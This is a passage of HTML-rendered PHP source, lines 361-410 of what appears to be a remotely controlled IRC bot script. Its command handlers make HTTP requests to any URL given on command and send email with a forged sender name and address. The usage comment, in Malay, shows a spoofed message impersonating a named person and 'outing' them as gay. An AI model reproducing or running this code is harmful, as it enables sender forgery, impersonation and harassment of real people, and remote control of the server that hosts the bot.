parse_url($mcmd[1]);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum361&quot;&gt; 361:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;($site[&lt;span style=&quot;color: #006080&quot;&gt;&#39;scheme&#39;&lt;/span&gt;]))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum362&quot;&gt; 362:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum363&quot;&gt; 363:&lt;/span&gt;                                                                                             $url = &lt;span style=&quot;color: #006080&quot;&gt;&quot;http://&quot;&lt;/span&gt;.$mcmd[1];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum364&quot;&gt; 364:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum365&quot;&gt; 365:&lt;/span&gt;                                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum366&quot;&gt; 366:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum367&quot;&gt; 367:&lt;/span&gt;                                                                                             $url = $mcmd[1];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum368&quot;&gt; 368:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum369&quot;&gt; 369:&lt;/span&gt;                                                                                     $this-&amp;gt;reqhttp($url);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum370&quot;&gt; 370:&lt;/span&gt;                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum371&quot;&gt; 371:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum372&quot;&gt; 372:&lt;/span&gt;                                                                         &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum373&quot;&gt; 373:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #008000&quot;&gt;/**&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum374&quot;&gt; 374:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Description: Send an email&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum375&quot;&gt; 375:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Usage: Sender+name sender-email target my+subject msg&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum376&quot;&gt; 376:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Example: !mail EmotoyGay emeotoy@gay.kom my.mail@gmail.com kenyataan+tergempar+dari+emotoy saya sebenarnya gay&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum377&quot;&gt; 377:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         * @Note: symbol + kat nama dengan subjek akan digantikan dengan space.&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum378&quot;&gt; 378:&lt;/span&gt; &lt;span style=&quot;color: #008000&quot;&gt;                                                                         */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum379&quot;&gt; 379:&lt;/span&gt;                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #006080&quot;&gt;&#39;mail&#39;&lt;/span&gt;:&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum380&quot;&gt; 380:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(count($mcmd) &amp;gt; 5)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum381&quot;&gt; 381:&lt;/span&gt;                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum382&quot;&gt; 382:&lt;/span&gt;                                                                                     $nama = $mcmd[1];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum383&quot;&gt; 383:&lt;/span&gt;                                                                                     $from = $mcmd[2];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum384&quot;&gt; 384:&lt;/span&gt;                                                                                     $to = $mcmd[3];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum385&quot;&gt; 385:&lt;/span&gt;                                                                                     $sbj = $mcmd[4];&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum386&quot;&gt; 386:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(strpos($nama, &lt;span style=&quot;color: #006080&quot;&gt;&quot;+&quot;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum387&quot;&gt; 387:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum388&quot;&gt; 388:&lt;/span&gt;                                                                                             $nama = str_replace(&lt;span style=&quot;color: #006080&quot;&gt;&quot;+&quot;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&quot; &quot;&lt;/span&gt;, $nama);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum389&quot;&gt; 389:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum390&quot;&gt; 390:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(strpos($sbj, &lt;span style=&quot;color: #006080&quot;&gt;&quot;+&quot;&lt;/span&gt;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum391&quot;&gt; 391:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum392&quot;&gt; 392:&lt;/span&gt;                                                                                             $sbj = str_replace(&lt;span style=&quot;color: #006080&quot;&gt;&quot;+&quot;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&quot; &quot;&lt;/span&gt;, $sbj);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum393&quot;&gt; 393:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum394&quot;&gt; 394:&lt;/span&gt;                                                                                     $header = &lt;span style=&quot;color: #006080&quot;&gt;&quot;From: &quot;&lt;/span&gt;.$nama.&lt;span style=&quot;color: #006080&quot;&gt;&quot;&amp;lt;&quot;&lt;/span&gt;.$from.&lt;span style=&quot;color: #006080&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum395&quot;&gt; 395:&lt;/span&gt;                                                                                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(mail($to, $sbj, strstr($msg, $mcmd[5]), $header))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum396&quot;&gt; 396:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum397&quot;&gt; 397:&lt;/span&gt;                                                                                             $this-&amp;gt;notice($nick, &lt;span style=&quot;color: #006080&quot;&gt;&quot;Message sent to &quot;&lt;/span&gt;.$to);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum398&quot;&gt; 398:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum399&quot;&gt; 399:&lt;/span&gt;                                                                                         &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum400&quot;&gt; 400:&lt;/span&gt;                                                                                         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum401&quot;&gt; 401:&lt;/span&gt;                                                                                             $this-&amp;gt;notice($nick, &lt;span style=&quot;color: #006080&quot;&gt;&quot;Unable to send.&quot;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum402&quot;&gt; 402:&lt;/span&gt;                                                                                         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum403&quot;&gt; 403:&lt;/span&gt;                                                                                 }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum404&quot;&gt; 404:&lt;/span&gt;                                                                                 &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum405&quot;&gt; 405:&lt;/span&gt;                                                                                 {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum406&quot;&gt; 406:&lt;/span&gt;                                                                                     $this-&amp;gt;notice($nick, &lt;span style=&quot;color: #006080&quot;&gt;&quot;!mail dari-nama dari-email kepada subjek msg&quot;&lt;/span&gt;);                                                                                }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum407&quot;&gt; 407:&lt;/span&gt;                                                                             &lt;span style=&quot;color: #0000ff&quot;&gt;break&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum408&quot;&gt; 408:&lt;/span&gt;                                                                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum409&quot;&gt; 409:&lt;/span&gt;                                                             }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum410&quot;&gt; 410:&lt;/span&gt;                                                     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: 